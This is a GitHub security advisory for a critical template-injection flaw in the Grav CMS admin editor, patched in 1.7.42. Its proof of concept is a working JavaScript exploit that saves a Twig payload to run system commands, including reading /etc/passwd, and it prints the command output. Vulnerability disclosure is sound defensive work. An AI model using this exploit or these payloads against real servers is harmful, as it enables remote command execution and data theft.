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Grav Server Side Template Injection (SSTI) vulnerability

Critical severity GitHub Reviewed Published Jun 14, 2023 in getgrav/grav • Updated Nov 5, 2023

Package

composer getgrav/grav (Composer)

Affected versions

< 1.7.42

Patched versions

1.7.42

Description

Summary

I found an RCE(Remote Code Execution) by SSTI in the admin screen.

Details

Remote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges.

PoC

  1. Log in to the administrator screen and access the edit screen of the default page "Typography". (http://127.0.0.1:8000/admin/pages/typography)
  2. Open the browser's console screen and execute the following JavaScript code to confirm that an arbitrary command (id) is being executed.
(async () => {
  const nonce = document.querySelector("input[name=admin-nonce]").value;
  const id = document.querySelector("input[name=__unique_form_id__]").value;

  const payload = "{{['id']|map('system')|join}}"; // SSTI Payload

  const params = new URLSearchParams();
  params.append("task", "save");
  params.append("data[header][title]", "poc");
  params.append("data[content]", payload);
  params.append("data[folder]", "poc");
  params.append("data[route]", "");
  params.append("data[name]", "default");
  params.append("data[header][body_classes]", "");
  params.append("data[ordering]", 1);
  params.append("data[order]", "");
  params.append("toggleable_data[header][process]", "on");
  params.append("data[header][process][twig]", 1);
  params.append("data[header][order_by]", "");
  params.append("data[header][order_manual]", "");
  params.append("data[blueprint", "");
  params.append("data[lang]", "");
  params.append("_post_entries_save", "edit");
  params.append("__form-name__", "flex-pages");
  params.append("__unique_form_id__", id);
  params.append("admin-nonce", nonce);

  await fetch("http://127.0.0.1:8000/admin/pages/typography", {
    method: "POST",
    headers: {
      "content-type": "application/x-www-form-urlencoded",
    },
    body: params,
  });

  window.open("http://127.0.0.1:8000/admin/pages/poc/:preview");
})();

Execution Result

  • Payload: {{['id']|map('system')|join}}
uid=501(<user_name>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) uid=501(<user_name>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
  • Payload: {{['cat /etc/passwd']|map('system')|join}}
## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false _uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico _taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false _networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false _installassistant:*:25:25:Install Assistant:/var/empty:/usr/bin/false _lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/false _postfix:*:27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false _scsd:*:31:31:Service Configuration Service:/var/empty:/usr/bin/false _ces:*:32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false _appstore:*:33:33:Mac App Store Service:/var/db/appstore:/usr/bin/false _mcxalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false _appleevents:*:55:55:AppleEvents Daemon:/var/empty:/usr/bin/false _geod:*:56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false _devdocs:*:59:59:Developer Documentation:/var/empty:/usr/bin/false _sandbox:*:60:60:Seatbelt:/var/empty:/usr/bin/false _mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false _ard:*:67:67:Apple Remote Desktop:/var/empty:/usr/bin/false _www:*:70:70:World Wide Web Server:/Library/WebServer:/usr/bin/false _eppc:*:71:71:Apple Events User:/var/empty:/usr/bin/false _cvs:*:72:72:CVS Server:/var/empty:/usr/bin/false _svn:*:73:73:SVN Server:/var/empty:/usr/bin/false _mysql:*:74:74:MySQL Server:/var/empty:/usr/bin/false _sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false _qtss:*:76:76:QuickTime Streaming Server:/var/empty:/usr/bin/false _cyrus:*:77:6:Cyrus Administrator:/var/imap:/usr/bin/false _mailman:*:78:78:Mailman List Server:/var/empty:/usr/bin/false _appserver:*:79:79:Application Server:/var/empty:/usr/bin/false _clamav:*:82:82:ClamAV Daemon:/var/virusmails:/usr/bin/false _amavisd:*:83:83:AMaViS Daemon:/var/virusmails:/usr/bin/false _jabber:*:84:84:Jabber XMPP Server:/var/empty:/usr/bin/false _appowner:*:87:87:Application Owner:/var/empty:/usr/bin/false _windowserver:*:88:88:WindowServer:/var/empty:/usr/bin/false _spotlight:*:89:89:Spotlight:/var/empty:/usr/bin/false _tokend:*:91:91:Token Daemon:/var/empty:/usr/bin/false _securityagent:*:92:92:SecurityAgent:/var/db/securityagent:/usr/bin/false _calendar:*:93:93:Calendar:/var/empty:/usr/bin/false _teamsserver:*:94:94:TeamsServer:/var/teamsserver:/usr/bin/false _update_sharing:*:95:-2:Update Sharing:/var/empty:/usr/bin/false _installer:*:96:-2:Installer:/var/empty:/usr/bin/false _atsserver:*:97:97:ATS Server:/var/empty:/usr/bin/false _ftp:*:98:-2:FTP Daemon:/var/empty:/usr/bin/false _unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false _softwareupdate:*:200:200:Software Update Service:/var/db/softwareupdate:/usr/bin/false _coreaudiod:*:202:202:Core Audio Daemon:/var/empty:/usr/bin/false _screensaver:*:203:203:Screensaver:/var/empty:/usr/bin/false _locationd:*:205:205:Location Daemon:/var/db/locationd:/usr/bin/false _trustevaluationagent:*:208:208:Trust Evaluation Agent:/var/empty:/usr/bin/false _timezone:*:210:210:AutoTimeZoneDaemon:/var/empty:/usr/bin/false _lda:*:211:211:Local Delivery Agent:/var/empty:/usr/bin/false _cvmsroot:*:212:212:CVMS Root:/var/empty:/usr/bin/false _usbmuxd:*:213:213:iPhone OS Device Helper:/var/db/lockdown:/usr/bin/false _dovecot:*:214:6:Dovecot Administrator:/var/empty:/usr/bin/false _dpaudio:*:215:215:DP Audio:/var/empty:/usr/bin/false _postgres:*:216:216:PostgreSQL Server:/var/empty:/usr/bin/false _krbtgt:*:217:-2:Kerberos Ticket Granting Ticket:/var/empty:/usr/bin/false _kadmin_admin:*:218:-2:Kerberos Admin Service:/var/empty:/usr/bin/false _kadmin_changepw:*:219:-2:Kerberos Change Password Service:/var/empty:/usr/bin/false _devicemgr:*:220:220:Device Management Server:/var/empty:/usr/bin/false _webauthserver:*:221:221:Web Auth Server:/var/empty:/usr/bin/false _netbios:*:222:222:NetBIOS:/var/empty:/usr/bin/false _warmd:*:224:224:Warm Daemon:/var/empty:/usr/bin/false _dovenull:*:227:227:Dovecot Authentication:/var/empty:/usr/bin/false _netstatistics:*:228:228:Network Statistics Daemon:/var/empty:/usr/bin/false _avbdeviced:*:229:-2:Ethernet AVB Device Daemon:/var/empty:/usr/bin/false _krb_krbtgt:*:230:-2:Open Directory Kerberos Ticket Granting Ticket:/var/empty:/usr/bin/false _krb_kadmin:*:231:-2:Open Directory Kerberos Admin Service:/var/empty:/usr/bin/false _krb_changepw:*:232:-2:Open Directory Kerberos Change Password Service:/var/empty:/usr/bin/false _krb_kerberos:*:233:-2:Open Directory Kerberos:/var/empty:/usr/bin/false _krb_anonymous:*:234:-2:Open Directory Kerberos Anonymous:/var/empty:/usr/bin/false _assetcache:*:235:235:Asset Cache Service:/var/empty:/usr/bin/false _coremediaiod:*:236:236:Core Media IO Daemon:/var/empty:/usr/bin/false _launchservicesd:*:239:239:_launchservicesd:/var/empty:/usr/bin/false _iconservices:*:240:240:IconServices:/var/empty:/usr/bin/false _distnote:*:241:241:DistNote:/var/empty:/usr/bin/false _nsurlsessiond:*:242:242:NSURLSession Daemon:/var/db/nsurlsessiond:/usr/bin/false _displaypolicyd:*:244:244:Display Policy Daemon:/var/empty:/usr/bin/false _astris:*:245:245:Astris Services:/var/db/astris:/usr/bin/false _krbfast:*:246:-2:Kerberos FAST Account:/var/empty:/usr/bin/false _gamecontrollerd:*:247:247:Game Controller Daemon:/var/empty:/usr/bin/false _mbsetupuser:*:248:248:Setup User:/var/setup:/bin/bash _ondemand:*:249:249:On Demand Resource Daemon:/var/db/ondemand:/usr/bin/false _xserverdocs:*:251:251:macOS Server Documents Service:/var/empty:/usr/bin/false _wwwproxy:*:252:252:WWW Proxy:/var/empty:/usr/bin/false _mobileasset:*:253:253:MobileAsset User:/var/ma:/usr/bin/false _findmydevice:*:254:254:Find My Device Daemon:/var/db/findmydevice:/usr/bin/false _datadetectors:*:257:257:DataDetectors:/var/db/datadetectors:/usr/bin/false _captiveagent:*:258:258:captiveagent:/var/empty:/usr/bin/false _ctkd:*:259:259:ctkd Account:/var/empty:/usr/bin/false _applepay:*:260:260:applepay Account:/var/db/applepay:/usr/bin/false _hidd:*:261:261:HID Service User:/var/db/hidd:/usr/bin/false _cmiodalassistants:*:262:262:CoreMedia IO Assistants User:/var/db/cmiodalassistants:/usr/bin/false _analyticsd:*:263:263:Analytics Daemon:/var/db/analyticsd:/usr/bin/false _fpsd:*:265:265:FPS Daemon:/var/db/fpsd:/usr/bin/false _timed:*:266:266:Time Sync Daemon:/var/db/timed:/usr/bin/false _nearbyd:*:268:268:Proximity and Ranging Daemon:/var/db/nearbyd:/usr/bin/false _reportmemoryexception:*:269:269:ReportMemoryException:/var/db/reportmemoryexception:/usr/bin/false _driverkit:*:270:270:DriverKit:/var/empty:/usr/bin/false _diskimagesiod:*:271:271:DiskImages IO Daemon:/var/db/diskimagesiod:/usr/bin/false _logd:*:272:272:Log Daemon:/var/db/diagnostics:/usr/bin/false _appinstalld:*:273:273:App Install Daemon:/var/db/appinstalld:/usr/bin/false _installcoordinationd:*:274:274:Install Coordination Daemon:/var/db/installcoordinationd:/usr/bin/false _demod:*:275:275:Demo Daemon:/var/empty:/usr/bin/false _rmd:*:277:277:Remote Management Daemon:/var/db/rmd:/usr/bin/false _accessoryupdater:*:278:278:Accessory Update Daemon:/var/db/accessoryupdater:/usr/bin/false _knowledgegraphd:*:279:279:Knowledge Graph Daemon:/var/db/knowledgegraphd:/usr/bin/false _coreml:*:280:280:CoreML Services:/var/db/coreml:/usr/bin/false _sntpd:*:281:281:SNTP Server Daemon:/var/empty:/usr/bin/false _trustd:*:282:282:trustd:/var/empty:/usr/bin/false _mmaintenanced:*:283:283:mmaintenanced:/var/db/mmaintenanced:/usr/bin/false _darwindaemon:*:284:284:Darwin Daemon:/var/db/darwindaemon:/usr/bin/false _notification_proxy:*:285:285:Notification Proxy:/var/empty:/usr/bin/false _avphidbridge:*:288:288:Apple Virtual Platform HID Bridge:/var/empty:/usr/bin/false _biome:*:289:289:Biome:/var/db/biome:/usr/bin/false _backgroundassets:*:291:291:Background Assets Service:/var/empty:/usr/bin/false _oahd:*:441:441:OAH Daemon:/var/empty:/usr/bin/false _oahd:*:441:441:OAH Daemon:/var/empty:/usr/bin/false

PoC Video

Impact

Remote Command Execution (RCE) is possible.

Occurrences

References

References

@rhukster rhukster published to getgrav/grav Jun 14, 2023
Published by the National Vulnerability Database Jun 14, 2023
Published to the GitHub Advisory Database Jun 16, 2023
Reviewed Jun 16, 2023
Last updated Nov 5, 2023

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

EPSS score

0.392%
(74th percentile)

Weaknesses

CVE ID

CVE-2023-34251

GHSA ID

GHSA-f9jf-4cp4-4fq5

Source code

Credits

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